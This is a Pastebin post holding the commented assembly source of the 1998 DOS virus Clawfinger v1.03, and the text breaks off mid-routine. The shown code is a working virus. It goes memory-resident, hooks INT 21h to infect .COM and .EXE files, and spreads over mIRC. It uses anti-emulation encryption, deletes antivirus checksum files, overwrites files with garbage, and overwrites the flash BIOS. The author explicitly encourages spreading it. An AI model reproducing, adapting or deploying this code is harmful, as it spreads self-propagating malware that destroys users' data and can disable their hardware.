Advertisement
InfectedPacket

Clawfinger v1.03 Virus (1998)

Aug 2nd, 2015
353
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;============================================================================
  2. ;
  3. ;
  4. ;     NAME: Clawfinger v1.03
  5. ;     TYPE: Resident DOS .COM & .EXE-infector + mIRC.
  6. ;     DATE: August - October 1998.
  7. ;   AUTHOR: T-2000 / [Invaders].
  8. ;   E-MAIL: T2000_@hotmail.com
  9. ;     SIZE: Approximately 2500 bytes.
  10. ;      CPU: 286+
  11. ;
  12. ;
  13. ;       - Installs a viral mIRC-script.
  14. ;       - Retro-functions in mIRC.
  15. ;       - Infects AUTOEXEC.BAT.
  16. ;       - Variable encrypting in files.
  17. ;       - Uses UMBs if available.
  18. ;       - Works with DOS 7 .COM-files.
  19. ;       - Payload: file-corruption and FLASH-BIOS trashing.
  20. ;       - Infects file pointed by COMSPEC-variable.
  21. ;       - Also infects runtime.
  22. ;       - Doesn't infect various AV-programs.
  23. ;
  24. ;
  25. ; Scanner detection:
  26. ;
  27. ;       - F-Prot 3.02           :       Undetectable.
  28. ;       - TBSCAN 8.07           :       Undetectable.
  29. ;       - NOD 7.24              :       Detectable.
  30. ;
  31. ;
  32. ; This is a resident fast DOS .COM & .EXE-infector, besides, it also infects
  33. ; C:\MIRC\MIRC.INI if available, so it will be able to spread over the IRC
  34. ; via mIRC-clients.
  35. ;
  36. ; Originally this used to be a full-stealth virus, but for some shitty
  37. ; reason, Winshit95 won't let us set our infected date, so it's impossible
  38. ; to check for infected files. My next virii will have this problem fixed.
  39. ;
  40. ; Infects on program execute (AX=4B00h), open (AH=3Dh), extended open
  41. ; (AX=6C00h), and file delete (AH=41h), doesn't infect overlays, works
  42. ; with PKZIP, uses an anti-emulation routine so dumb scanners like TBSCAN
  43. ; don't find a thing. First trigger (random) trashes all files in current-
  44. ; directory, second trashes FLASH-BIOS if available (September 1st, random).
  45. ;
  46. ;
  47. ; MIRC-STUFF:
  48. ;
  49. ; Clawfinger's way of infecting mIRC is much better/more compatible then
  50. ; all other mIRC-virii/worms I've seen, instead of overwriting the original
  51. ; SCRIPT.INI (SCRIPT.INI-worm), or replacing the original MIRC.INI (DMSETUP),
  52. ; this virus actually adds a new script to the file MIRC.INI, this way there
  53. ; will be no changes in any other files, so the user doesn't have to fill-in
  54. ; all the stuff again (nicks, e-mail, scripts, etc).
  55. ;
  56. ; The new added viral script has several phases of execution, called 'events'
  57. ; in the mIRC-scripting language. The first one will be called when mIRC
  58. ; starts, it will disable several auto-warnings, so mIRC doesn't yell when
  59. ; a suspicious action is going to take place. The 2nd event triggers when
  60. ; someone tries to send the infected user the drop-file of Clawfinger, this
  61. ; is not necessary as the user is already infected, so the send is canceled.
  62. ; The 3rd event (join) contains a retro-routine, it doesn't allow the user
  63. ; to join any channel with the word 'help' in it, (this matches most help
  64. ; channels, such as #help, #irchelp, #mirchelp, etc). Reason for this being
  65. ; that most ppl at IRC go to lame help-channels whenever they think they are
  66. ; infected with a worm, virus, trojan, Goodtimes, or even that new ebola
  67. ; strain just found in the jungle of South-America. Anyway, they won't get
  68. ; any help there anymore... (Hmmm... I could let the payload activate, but
  69. ; hey! I'm a nice guy!). The 4th events does the actual spreading, whenever
  70. ; a person leaves a channel the infected user is on, there is a 1/6 chance
  71. ; that the infection-timer will be started. This timer waits 60 seconds
  72. ; before it sends the dropper-file (most ppl know by experience that files
  73. ; sended to them the second they joined/leaved won't do any good). I included
  74. ; this random infection-trigger to prevent the DCC from flooding, this way
  75. ; the virus is also less noticable. Note that I didn't use the join-event to
  76. ; infect ppl, by only using the part-event I can make advantage of another
  77. ; stupidity of all those lame chatters, most of em are complete fucking
  78. ; morons who don't even know how to /QUERY someone, their brains are only
  79. ; capable of double-clicking at a nick... in other words, no more "what's
  80. ; this?" messages.
  81. ;
  82. ; Clawfinger was inspired by DMSETUP, much respect goes to the author of it,
  83. ; I would like to have a chat with him sometime.
  84. ;
  85. ;
  86. ; Some con's:
  87. ;
  88. ;       - mIRC-infection part is a bit hardcoded here & there, for example
  89. ;         Clawfinger cannot process MIRC.INI's > 8kb, coz it reads the whole
  90. ;         file at once instead of in chunks.
  91. ;
  92. ;       - Clawfinger also infects the DOS-stub of NE/PE-files, maybe it fucks
  93. ;         em up, maybe it doesn't, I never really cared about this Winshit-
  94. ;         crap. This virus is done, I'm too lazy to fix it.
  95. ;
  96. ;
  97. ; This baby runs fine on my system, if it doesn't on yours, or if you might
  98. ; find some bugs, please contact me on the IRC or give me a mail describing
  99. ; what the problem is.
  100. ;
  101. ;
  102. ; Spreading is encouraged, do so.
  103. ;
  104. ; Ah yes, Clawfinger is a swedisch metalband, for those who wanna know....
  105. ;
  106. ;
  107. ; Stay tune for my latest two ideas which haven't been turned into code yet:
  108. ; the 'nuke', and 'lethal-retro'-virus.
  109. ;
  110. ;
  111. ;
  112. ;                 "I love it when a plan comes together..."
  113. ;                              - The A-Team -
  114. ;
  115. ;============================================================================
  116.  
  117.  
  118.                 .MODEL  TINY
  119.                 .STACK  1024
  120.                 .286
  121.                 .CODE
  122.  
  123.  
  124. Virus_Size      EQU     (Virus_End - $)
  125. Virus_Size_Mem  EQU     ((Virus_Size * 2) + 256 + Chunk + 15) / 16
  126. Res_Check       EQU     0BA16h
  127. Marker_Mem      EQU     0D0D0h
  128. Marker_File     EQU     0D00Dh
  129. Chunk           EQU     8192            ; 8k.
  130.  
  131. ;----------------------------------------------------------------------------
  132.  
  133. START:
  134.                 MOV     BP, SP                  ; Get our delta-offset, this
  135.                 INT     03h                     ; method isn't detected by
  136. Delta_Ptr:      MOV     SI, [BP-6]              ; heuristics & also provides
  137.                 SUB     SI, (Delta_Ptr - Start) ; a simple anti-debug trick.
  138.  
  139.                 PUSH    ES
  140.                 PUSHA
  141.  
  142.                 MOV     BP, (OFFSET End_Encrypted - 1)
  143.                 MOV     CX, (End_Encrypted - Encrypted)
  144.  
  145. Decrypt_Byte:   XOR     BYTE PTR CS:[SI+BP], 00h
  146. Key_File        =       BYTE PTR $-1
  147.  
  148.                 MOV     AH, 3Eh                 ; Close non-existing handle,
  149.                 MOV     BH, 97h                 ; emulators mostly return
  150.                 INT     21h                     ; no errors, so we know when
  151.                 JC      Continue_Decr           ; being emulated.
  152.  
  153.                 MOV     AX, 4C00h               ; Exit to DOS so scanners
  154.                 INT     21h                     ; think the file is clean.
  155.  
  156. Continue_Decr:  DEC     BP
  157.  
  158.                 JMP     $+2                     ; Clear prefetcher.
  159.  
  160.                 LOOP    Decrypt_Byte
  161.  
  162. Encrypted:      MOV     AX, Res_Check           ; Residency-check.
  163.                 INT     21h
  164.  
  165.                 CMP     AX, Marker_Mem          ; Are we already TSR ?
  166.                 JNE     Make_TSR
  167.  
  168.                 JMP     Exec_Host
  169.  
  170. Make_TSR:       MOV     AX, 5802h               ; Get UMB link state.
  171.                 INT     21h
  172.  
  173.                 CBW                             ; Save state on stack.
  174.                 PUSH    AX
  175.  
  176.                 MOV     AX, 5803h               ; Add UMBs to memory-chain.
  177.                 MOV     BX, 0001h
  178.                 INT     21h
  179.  
  180.                 XOR     DI, DI
  181.  
  182.                 MOV     AX, DS                  ; Get our MCB.
  183.                 DEC     AX
  184.  
  185. Find_Last_MCB:  MOV     DS, AX
  186.  
  187.                 CMP     BYTE PTR DS:[DI], 'Z'   ; Last block in chain?
  188.                 JE      Found_Last_MCB
  189.  
  190.                 INC     AX                      ; Calculate next block.
  191.                 ADD     AX, DS:[DI+3]
  192.  
  193.                 JMP     Find_Last_MCB
  194.  
  195. Found_Last_MCB: XCHG    CX, AX
  196.  
  197.                 MOV     AX, 5803h               ; Restore UMB-link state.
  198.                 POP     BX
  199.                 INT     21h
  200.  
  201.                 MOV     AX, DS:[DI+3]           ; Get size in block.
  202.  
  203.                 SUB     AX, Virus_Size_Mem      ; Subtract our needings.
  204.                 JC      Exec_Host               ; Not enough space in block?
  205.  
  206.                 MOV     DS:[DI+3], AX           ; Put new size back in MCB.
  207.  
  208.                 INC     AX                      ; Our new segment.
  209.                 ADD     AX, CX
  210.  
  211.                 CMP     AX, DS:[DI+12h]         ; Are we in conventional or
  212.                 JNB     No_Adjust_PSP           ; UMB-memory?
  213.  
  214.                 ; Necessary with Winshit95.
  215.  
  216.                 SUB     DS:[DI+12h], Virus_Size_Mem
  217.  
  218. No_Adjust_PSP:  MOV     ES, AX                  ; ES = our new segment.
  219.  
  220.                 PUSH    CS
  221.                 POP     DS
  222.  
  223.                 CLD                             ; Copy us to our reserved
  224.                 MOV     CX, Virus_Size          ; memory.
  225.                 REP     MOVSB
  226.  
  227.                 MOV     AX, OFFSET Relocated
  228.  
  229.                 PUSH    ES                      ; JMP to relocated virus.
  230.                 PUSH    AX
  231.                 RETF
  232.  
  233. Relocated:      PUSH    CS
  234.                 POP     DS
  235.  
  236.                 CALL    Get_Random              ; Initialise random generate,
  237.                 MOV     Init_Seed, AX           ; a bit redudant, whatever...
  238.  
  239.                 MOV     AX, 3521h               ; Get address INT 21h.
  240.                 INT     21h
  241.  
  242.                 MOV     Int21h, BX              ; Save address INT 21h.
  243.                 MOV     Int21h+2, ES
  244.  
  245.                 MOV     AH, 25h                 ; Hook INT 21h.
  246.                 MOV     DX, OFFSET NewInt21h
  247.                 INT     21h
  248.  
  249.                 CALL    Infect_Current_Dir      ; Infect current directory.
  250.  
  251.                 CALL    Infect_mIRC             ; Infect mIRC and the
  252.                                                 ; AUTOEXEC.BAT. (stupid
  253.                                                 ; short labels!).
  254.  
  255.                 CALL    Infect_ComSpec          ; Infect command-interpreter
  256.  
  257.                 MOV     AH, 2Ah                 ; Get system date.
  258.                 INT     21h
  259.  
  260.                 CMP     DX, 0901h               ; September 1st?
  261.                 JNE     No_BIOS_Trash
  262.  
  263.                 CALL    Get_Random
  264.  
  265.                 AND     AL, 10000001b           ; Don't destroy all hosts.
  266.                 JNZ     No_BIOS_Trash
  267.  
  268.                 CALL    Trash_BIOS              ; Bye bye! hahahahaha!
  269.  
  270. No_BIOS_Trash:  POPA
  271.                 XOR     SI, SI                  ; Zero displacement.
  272.                 PUSHA
  273.  
  274. Exec_Host:      POPA                            ; Restore registers.
  275.                 POP     ES
  276.  
  277.                 PUSH    CS
  278.                 POP     DS
  279.  
  280.                 ADD     SI, OFFSET Host_Bytes
  281.  
  282.                 CMP     [SI.EXE_Mark], 'ZM'     ; Check if our host is a
  283.                 JE      Exec_EXE                ; .COM or a .EXE-file.
  284.  
  285.                 MOV     DI, 100h                ; Restore .COM in memory.
  286.                 PUSH    ES                      ; PUSH entrypoint .COM-host.
  287.                 PUSH    DI
  288.                 MOV     CX, (24 / 2)
  289.                 CLD
  290.                 REP     MOVSW
  291.  
  292.                 PUSH    ES                      ; Restore DS.
  293.                 POP     DS
  294.  
  295.                 XOR     SI, SI
  296.                 XOR     DI, DI
  297.  
  298.                 RETF                            ; Pass control to host.
  299.  
  300.  
  301. Payload_Msg     DB      'Clawfinger', 0Ah, 0Dh, '$'
  302.  
  303.  
  304. Exec_EXE:       MOV     AX, ES
  305.                 ADD     AX, 10h
  306.  
  307.                 ADD     [SI.Program_CS], AX     ; Add effective segment.
  308.                 ADD     AX, [SI.Program_SS]
  309.  
  310.                 PUSH    ES
  311.                 POP     DS
  312.  
  313.                 CLI                             ; Restore original stack.
  314.                 MOV     SS, AX
  315.                 MOV     SP, CS:[SI.Program_SP]
  316.                 STI
  317.  
  318.                 XOR     AX, AX
  319.  
  320.                 JMP     DWORD PTR CS:[SI.Program_IP]
  321.  
  322.  
  323. ; Inspired by CIH, ripped from VLAD.
  324. Trash_BIOS:
  325.                 MOV     AX, 0E000h              ; Check if this computer has
  326.                 INT     16h                     ; a flash-BIOS.
  327.                 JC      Exit_Trash_BIOS
  328.  
  329.                 CMP     AL, 0FAh                ; Double-check, just in case.
  330.                 JNE     Exit_Trash_BIOS
  331.  
  332.                 MOV     AL, 05h                 ; Raise voltage.
  333.                 INT     16h
  334.  
  335.                 MOV     AL, 07h                 ; Enable writes.
  336.                 INT     16h
  337.  
  338.                 MOV     BX, 0F000h              ; BIOS
  339.                 MOV     ES, BX
  340.  
  341.                 XOR     DI, DI                  ; Overwrite large part of
  342.                 MOV     CX, (0FFFEh / 2)        ; ROM with garbage.
  343.                 CLD
  344.                 REP     STOSW
  345.  
  346. Exit_Trash_BIOS:
  347.  
  348.                 RETN
  349.  
  350.  
  351. Copyright   DB      '=[ Clawfinger v1.03, (c) 1998 by T-2000 / Invaders ]='
  352.  
  353.  
  354.  
  355. ; Returns a random number in AX.
  356. Get_Random:
  357.                 PUSH    BX
  358.  
  359.                 IN      AX, 40h
  360.                 RCL     AX, 1
  361.                 NEG     AX
  362.  
  363.                 XCHG    BX, AX
  364.  
  365.                 IN      AX, 40h
  366.                 ADD     AX, BX
  367.  
  368.                 XOR     AX, 0000h
  369. Init_Seed       =       WORD PTR $-2
  370.  
  371.                 POP     BX
  372.  
  373.                 RETN
  374.  
  375.  
  376. Hook_Int24h:
  377.                 PUSH    CS
  378.                 POP     DS
  379.  
  380.                 MOV     AX, 3524h               ; Get address INT 24h.
  381.                 CALL    OldInt21h
  382.  
  383.                 MOV     AH, 25h                 ; Install dummy critical-
  384.                 MOV     DX, OFFSET NewInt24h    ; error-handler.
  385.                 CALL    OldInt21h
  386.  
  387.                 RETN
  388.  
  389.  
  390.  
  391. NewInt24h:
  392.                 MOV     AL, 03h
  393.                 IRET
  394.  
  395.  
  396. ; === Converts AX to uppercase. ===
  397. Make_Uppercase:
  398.  
  399.                 CMP     AL, 'a'
  400.                 JB      Make_Up_AH
  401.  
  402.                 CMP     AL, 'z'
  403.                 JA      Make_Up_AH
  404.  
  405.                 SUB     AL, 'a' - 'A'
  406.  
  407. Make_Up_AH:     CMP     AH, 'a'
  408.                 JB      Exit_Make_Upper
  409.  
  410.                 CMP     AH, 'z'
  411.                 JA      Exit_Make_Upper
  412.  
  413.                 SUB     AH, 'a' - 'A'
  414.  
  415. Exit_Make_Upper:
  416.  
  417.                 RETN
  418.  
  419.  
  420.  
  421. NewInt21h:
  422.                 CMP     AH, 3Dh                 ; Open file (handle).
  423.                 JE      Check_Infect
  424.  
  425.                 CMP     AX, 6C00h               ; Extended open.
  426.                 JE      Check_Infect
  427.  
  428.                 CMP     AX, 4B00h               ; Execute program.
  429.                 JE      Check_Infect
  430.  
  431.                 CMP     AH, 41h                 ; Delete file.
  432.                 JE      Check_Infect
  433.  
  434.                 CMP     AX, Res_Check           ; Are-You-There-call.
  435.                 JNE     JMP_Int21h
  436.  
  437. Return_Marker:  MOV     AX, Marker_Mem
  438.  
  439.                 IRET
  440.  
  441. JMP_Int21h:     JMP     DWORD PTR CS:Int21h     ; JMP to INT 21h chain.
  442.  
  443.  
  444.                 DB      'Crush your enemies!', 0
  445.  
  446.  
  447. Check_Infect:
  448.                 PUSHA
  449.                 PUSH    DS
  450.                 PUSH    ES
  451.  
  452.                 PUSH    AX
  453.                 PUSH    DX
  454.                 PUSH    DS
  455.  
  456.                 CALL    Hook_Int24h
  457.  
  458.                 POP     DS
  459.                 POP     DX
  460.                 POP     CX
  461.  
  462.                 PUSH    BX
  463.                 PUSH    ES
  464.  
  465.                 CALL    Save_File_Attr
  466.                 JNC     File_Exists
  467.  
  468.                 JMP     Exit_Infect_2
  469.  
  470.         ; Check if the current program executing is PKZIP, and don't infect
  471.         ; any files if so. This is done coz else PKZIP will fuck up the
  472.         ; filesize.
  473.  
  474. File_Exists:    MOV     AH, 62h                 ; Get PSP of current process.
  475.                 CALL    OldInt21h
  476.  
  477.                 DEC     BX                      ; Get MCB.
  478.                 MOV     ES, BX
  479.  
  480.                 MOV     AX, ES:[8]              ; 1st word executing program.
  481.                 CALL    Make_Uppercase
  482.  
  483.                 CMP     AX, 'KP'                ; PKZIP ?
  484.                 JE      JMP_Exit_Inf
  485.  
  486.                 CMP     CX, 6C00h               ; Extended open?
  487.                 JNE     No_Ext_Open             ; Then set correct register.
  488.  
  489.                 MOV     DX, SI                  ; DS:DX = ASCIIZ-string.
  490.  
  491. No_Ext_Open:    PUSH    DS                      ; ES=DS.
  492.                 POP     ES
  493.  
  494.                 XOR     AL, AL                  ; Find end of ASCIIZ-string.
  495.                 MOV     DI, DX
  496.                 CLD
  497.                 REPNZ   SCASB
  498.  
  499.                 DEC     DI                      ; DI = ASCIIZ.
  500.  
  501.                 MOV     AX, [DI-2]              ; Get last word of extension.
  502.                 CALL    Make_Uppercase
  503.  
  504.                 CMP     AX, 'MO'                ; Has file .COM-extension?
  505.                 JE      Extension_OK
  506.  
  507.                 CMP     AX, 'EX'                ; Has file .EXE-extension?
  508.                 JNE     JMP_Exit_Inf
  509.  
  510. Extension_OK:   MOV     AL, '\'                 ; Find start of filename.
  511.                 MOV     CX, 14
  512.                 STD
  513.                 REPNE   SCASB
  514.  
  515.                 CLD
  516.  
  517.                 INC     DI                      ; DI = start filename.
  518.                 INC     DI
  519.  
  520.                 CMP     DI, DX                  ; Went past offset filename?
  521.                 JNB     Found_Filename
  522.  
  523.                 MOV     DI, DX                  ; Else there is no path.
  524.  
  525. Found_Filename: MOV     AX, [DI]                ; Get 1st word of filename.
  526.                 CALL    Make_Uppercase
  527.  
  528.                 XCHG    BX, AX
  529.  
  530.                 MOV     SI, OFFSET No_Infect_Table
  531.  
  532. Comp_Filename:  LODS    WORD PTR CS:[SI]        ; Get next word from table.
  533.  
  534.                 OR      AX, AX                  ; End of table?
  535.                 JZ      Filename_OK
  536.  
  537.                 CMP     AX, BX                  ; Does the filename match?
  538.                 JE      JMP_Exit_Inf
  539.  
  540.                 JMP     Comp_Filename
  541.  
  542. Filename_OK:    MOV     AX, 3D92h               ; Open candidate file.
  543.                 CALL    OldInt21h
  544.                 JNC     File_Opened
  545.  
  546. JMP_Exit_Inf:   JMP     Exit_Infect
  547.  
  548. File_Opened:    XCHG    BX, AX                  ; BX = filehandle.
  549.  
  550.                 MOV     AX, 4400h               ; Get IOCTL information.
  551.                 CALL    OldInt21h
  552.  
  553.                 TEST    DL, 10000000b           ; Filehandle?
  554.                 JNE     Abort_Check
  555.  
  556.                 PUSH    CS
  557.                 POP     DS
  558.  
  559.                 PUSH    CS
  560.                 POP     ES
  561.  
  562.                 MOV     DX, OFFSET TBAV_CRC_File
  563.                 CALL    Save_File_Attr
  564.                 JC      Read_Header
  565.  
  566.                 MOV     AH, 41h                 ; Delete ANTI-VIR.DAT.
  567.                 CALL    OldInt21h
  568.  
  569. Read_Header:    MOV     SI, OFFSET Header
  570.  
  571.                 MOV     AH, 3Fh                 ; Read header.
  572.                 MOV     CX, 24
  573.                 MOV     DX, SI
  574.                 CALL    OldInt21h
  575.                 JC      Abort_Check
  576.  
  577.                 CMP     AX, CX                  ; File smaller then 24 bytes?
  578.                 JNE     Abort_Check
  579.  
  580.                 CMP     [SI.Checksum], Marker_File  ; File already infected?
  581.                 JE      Abort_Check
  582.  
  583.                 MOV     AX, 4202h               ; Go to position of possible
  584.                 MOV     CX, -1                  ; ENUNS-checksum.
  585.                 MOV     DX, -7
  586.                 CALL    OldInt21h
  587.  
  588.                 MOV     AH, 3Fh                 ; Read possible ENUNS-block.
  589.                 MOV     CX, 7
  590.                 MOV     DX, OFFSET ENUNS_Block
  591.                 CALL    OldInt21h
  592.  
  593.                 ADD     ENUNS_Block.ENUNS_Checksum, Virus_Size
  594.  
  595.                 CMP     [SI.EXE_Mark], 'ZM'     ; Host is a .COM or .EXE ?
  596.                 JE      Mark_As_EXE
  597.  
  598. Mark_As_COM:    CALL    Go_EOF
  599.  
  600.                 OR      DX, DX                  ; .COM is bigger then 64k ?
  601.                 JNZ     Abort_Check
  602.  
  603.                 CMP     AX, (65535 - (Virus_Size + 1024))
  604.                 JB      Infect_File
  605.  
  606.                 JMP     Abort_Check
  607.  
  608. Mark_As_EXE:    ; Check if the file has internal overlays.
  609.  
  610.                 CALL    Calc_512_Pages
  611.  
  612.                 CMP     AX, [SI.Image_512_Pages]
  613.                 JNE     Abort_Check
  614.  
  615.                 CMP     DX, [SI.Image_Mod_512]
  616.                 JNE     Abort_Check
  617.  
  618.                 CMP     AX, (1024 / 512)        ; .EXE-file is big enough?
  619.                 JNB     Infect_File
  620.  
  621. Abort_Check:    JMP     Close_File
  622.  
  623. Infect_File:    CALL    Save_File_Stamp
  624.  
  625.                 PUSH    SI
  626.  
  627.                 CLD                             ; Save header.
  628.                 MOV     DI, OFFSET Host_Bytes
  629.                 MOV     CX, (24 / 2)
  630.                 CLD
  631.                 REP     MOVSW
  632.  
  633. Get_Key_File:   CALL    Get_Random              ; Get encryption-key.
  634.                 JZ      Get_Key_File            ; Avoid zero-encryption.
  635.  
  636.                 MOV     Key_File, AL
  637.  
  638.                 XOR     SI, SI                  ; Copy virus to buffer for
  639.                 MOV     DI, OFFSET Buffer       ; encryption.
  640.                 MOV     BP, DI
  641.                 MOV     CX, Virus_Size
  642.                 REP     MOVSB
  643.  
  644.                 LEA     SI, [BP+(Encrypted-Start)]
  645.                 MOV     CX, (End_Encrypted-Encrypted)
  646.  
  647. Encrypt_Byte:   XOR     [SI], AL                ; Encrypt virus in buffer.
  648.                 INC     SI
  649.                 LOOP    Encrypt_Byte
  650.  
  651.                 POP     SI
  652.  
  653.                 CALL    Go_EOF
  654.  
  655.                 PUSH    AX                      ; Save hostsize on stack.
  656.                 PUSH    DX
  657.  
  658.                 MOV     CX, Virus_Size          ; Append virusbody.
  659.                 MOV     DX, BP                  ; OFFSET Buffer
  660.                 CALL    Write_File
  661.  
  662.                 CMP     [SI.EXE_Mark], 'ZM'     ; Host is a .COM or .EXE ?
  663.                 JE      Infect_EXE
  664.  
  665. Infect_COM:     POP     DX                      ; DX:AX = hostsize.
  666.                 POP     AX
  667.  
  668.                 SUB     AX, 3                   ; Minus displacement.
  669.  
  670.                 MOV     [SI.Jump], 0E9h         ; 16-Bit JMP opcode.
  671.                 MOV     [SI.Displacement], AX
  672.  
  673.                 JMP     Set_Header
  674.  
  675. Infect_EXE:     MOV     AX, [SI.Headersize_Para]; Calculate headersize.
  676.                 MOV     CX, 16
  677.                 MUL     CX
  678.  
  679.                 MOV     DI, DX                  ; DI:CX = headersize.
  680.                 XCHG    CX, AX
  681.  
  682.                 POP     DX
  683.                 POP     AX
  684.  
  685.                 SUB     AX, CX                  ; Filesize - headersize.
  686.                 SBB     DX, DI
  687.  
  688.                 MOV     CX, 16                  ; Calculate virus' new CS:IP.
  689.                 DIV     CX
  690.  
  691.                 MOV     [SI.Program_CS], AX     ; Set virus' new CS:IP.
  692.                 MOV     [SI.Program_IP], DX
  693.  
  694.                 INC     AX                      ; Anti-heuristic.
  695.  
  696.                 MOV     [SI.Program_SS], AX
  697.                 MOV     [SI.Program_SP], (Virus_Size_Mem * 16) + (1024 - 16)
  698.  
  699.                 ADD     [SI.Min_Mem_Para], Virus_Size_Mem + (1024 / 16)
  700.  
  701.                 CALL    Calc_512_Pages
  702.  
  703.                 MOV     [SI.Image_512_Pages], AX
  704.                 MOV     [SI.Image_Mod_512], DX
  705.  
  706. Set_Header:     MOV     [SI.Checksum], Marker_File
  707.  
  708.                 CALL    Go_BOF
  709.  
  710.                 MOV     CL, 24                  ; Write updated header.
  711.                 MOV     DX, SI
  712.                 CALL    Write_File
  713.  
  714.                 CALL    Restore_File_Stamp
  715.  
  716.                 INC     Infects                 ; We've did another one.
  717.  
  718. Close_File:     MOV     AH, 3Eh                 ; Close file.
  719.                 CALL    OldInt21h
  720.  
  721. Exit_Infect:    CALL    Restore_File_Attr
  722.  
  723. Exit_Infect_2:  MOV     AX, 2524h               ; Restore original INT 24h.
  724.                 POP     DS
  725.                 POP     DX
  726.                 CALL    OldInt21h
  727.  
  728.                 POP     ES
  729.                 POP     DS
  730.                 POPA
  731.  
  732.                 JMP     JMP_Int21h
  733.  
  734.  
  735. Protect_File:
  736.                 MOV     AX, 4301h               ; Make readonly/hidden.
  737.                 MOV     CX, 00000011b
  738.                 JMP     OldInt21h
  739.  
  740.  
  741. Save_File_Attr:
  742.                 PUSHA
  743.  
  744.                 MOV     CS:File_Name, DX        ; Save address filename.
  745.                 MOV     CS:File_Name+2, DS
  746.  
  747.                 MOV     AX, 4300h               ; Get file-attributes of
  748.                 CALL    OldInt21h               ; the file.
  749.                 JC      Exit_File_Attr
  750.  
  751.                 MOV     CS:File_Attr, CX        ; Save file-attributes.
  752.  
  753.                 MOV     AX, 4301h               ; Clear readonly-flag.
  754.                 AND     CL, NOT 00000001b
  755.                 CALL    OldInt21h
  756.  
  757. Exit_File_Attr: POPA
  758.  
  759.                 RETN
  760.  
  761.  
  762. Restore_File_Attr:
  763.  
  764.                 PUSHA
  765.                 PUSH    DS
  766.  
  767.                 MOV     AX, 4301h
  768.                 MOV     CX, 0000h
  769. File_Attr       =       WORD PTR $-2
  770.                 LDS     DX, DWORD PTR CS:File_Name
  771.                 CALL    OldInt21h
  772.  
  773.                 POP     DS
  774.                 POPA
  775.  
  776.                 RETN
  777.  
  778.  
  779. Go_BOF:
  780.                 MOV     AX, 4200h
  781.                 JMP     Set_Pos
  782.  
  783. Go_EOF:
  784.                 MOV     AX, 4202h
  785. Set_Pos:        XOR     CX, CX
  786.                 CWD
  787.  
  788. OldInt21h:      PUSHF
  789.                 CALL    DWORD PTR CS:Int21h
  790.  
  791.                 RETN
  792.  
  793.  
  794. Infect_ComSpec:
  795.                 MOV     DX, OFFSET Winshit_COM  ; Hardcoded, who cares...
  796.                 CALL    Touch_File
  797.  
  798.                 XOR     DI, DI
  799.  
  800.                 MOV     AX, 6200h               ; Get PSP and clear AL.
  801.                 INT     21h
  802.  
  803.                 MOV     ES, BX                  ; Get program settings.
  804.                 MOV     ES, ES:[DI+2Ch]
  805.  
  806. Find_ComSpec:   CMP     ES:[DI], AL             ; End of settings?
  807.                 JZ      Exit_Inf_ComSpec
  808.  
  809.                 PUSH    DI
  810.  
  811.                 MOV     SI, OFFSET ComSpec
  812.                 MOV     CX, (8 / 2)
  813.                 CLD
  814.                 REPE    CMPSW
  815.  
  816.                 POP     DI
  817.  
  818.                 JE      Found_ComSpec
  819.  
  820.                 MOV     CH, 0FFh                ; Find next setting.
  821.                 CLD
  822.                 REPNZ   SCASB
  823.  
  824.                 JMP     Find_ComSpec
  825.  
  826. Found_ComSpec:  PUSH    ES
  827.                 POP     DS
  828.  
  829.                 LEA     DX, [DI+8]              ; Infect the command-
  830.                 CALL    Touch_File              ; interpreter.
  831.  
  832. Exit_Inf_ComSpec:
  833.  
  834.                 RETN
  835.  
  836.  
  837. Calc_512_Pages:
  838.                 CALL    Go_EOF                  ; Get filesize.
  839.  
  840.                 MOV     CH, 02h                 ; Divide in 512-byte pages.
  841.                 DIV     CX
  842.  
  843.                 OR      DX, DX                  ; Remainder?
  844.                 JZ      No_Round
  845.  
  846.                 INC     AX                      ; Then round upwards.
  847.  
  848. No_Round:       RETN
  849.  
  850.  
  851. ; Accesses a file with our hooked INT 21h so the virus will infect it.
  852. Touch_File:
  853.                 PUSH    DS
  854.  
  855.                 PUSH    CS
  856.                 POP     DS
  857.  
  858.                 PUSH    CS
  859.                 POP     ES
  860.  
  861.                 MOV     SI, OFFSET Host_Bytes
  862.                 MOV     DI, OFFSET Temp_Buffer
  863.                 MOV     CX, (24 / 2)
  864.                 CLD
  865.                 REP     MOVSW
  866.  
  867.                 POP     DS
  868.  
  869.                 MOV     AX, 3D00h               ; Open file via hooked INT.
  870.                 INT     21h
  871.                 JC      End_Touch_File
  872.  
  873.                 XCHG    BX, AX                  ; BX = filehandle.
  874.  
  875.                 MOV     AH, 3Eh                 ; Close file.
  876.                 INT     21h
  877.  
  878. End_Touch_File: PUSH    CS
  879.                 POP     DS
  880.  
  881.                 MOV     SI, OFFSET Temp_Buffer
  882.                 MOV     DI, OFFSET Host_Bytes
  883.                 MOV     CL, (24 / 2)
  884.                 CLD
  885.                 REP     MOVSW
  886.  
  887.                 RETN
  888.  
  889.  
  890.  
  891. Infect_Current_Dir:
  892.  
  893.                 PUSH    DS
  894.                 PUSH    ES
  895.  
  896.                 MOV     AH, 2Fh                 ; Get DTA-address.
  897.                 INT     21h
  898.  
  899.                 PUSH    BX
  900.                 PUSH    ES
  901.  
  902.                 MOV     AH, 1Ah                 ; Set our own DTA.
  903.                 MOV     DX, OFFSET New_DTA
  904.                 INT     21h
  905.  
  906.                 MOV     AH, 4Eh                 ; Findfirst file, (CX=0000h).
  907.                 MOV     DX, OFFSET File_Spec
  908.                 INT     21h
  909.                 JC      Restore_DTA
  910.  
  911.                 MOV     Infects, CL
  912.                 MOV     DX, OFFSET New_DTA + 1Eh
  913.  
  914.                 CALL    Get_Random
  915.                 XCHG    BP, AX
  916.  
  917. Infect_Find:    OR      BP, BP                  ; Random activation?
  918.                 JNZ     Skip_Damage
  919.  
  920.                 MOV     AX, 3D92h               ; Open file for r/w.
  921.                 INT     21h
  922.                 JC      Trash_Loop
  923.  
  924.                 PUSHA
  925.  
  926.                 XCHG    BX, AX
  927.  
  928.                 MOV     AH, 09h                 ; Display the virusname to
  929.                 MOV     DX, OFFSET Payload_Msg  ; give the AV'ers a hint.
  930.                 INT     21h
  931.  
  932.                 MOV     CX, 666                 ; Overwrite first 666 bytes
  933.                 INT     21h                     ; of file with garbage.
  934.                 CALL    Write_File
  935.  
  936.                 XOR     CX, CX                  ; Cut-off file at 666 bytes.
  937.                 CALL    Write_File
  938.  
  939.                 MOV     AX, 5701h               ; Zero filedate & time.
  940.                 CWD
  941.                 INT     21h
  942.  
  943.                 MOV     AH, 3Eh                 ; Close fucked file.
  944.                 INT     21h
  945.  
  946.                 POPA
  947.  
  948.                 JMP     Trash_Loop
  949.  
  950. Skip_Damage:    CMP     Infects, 5              ; Don't infect more then 5.
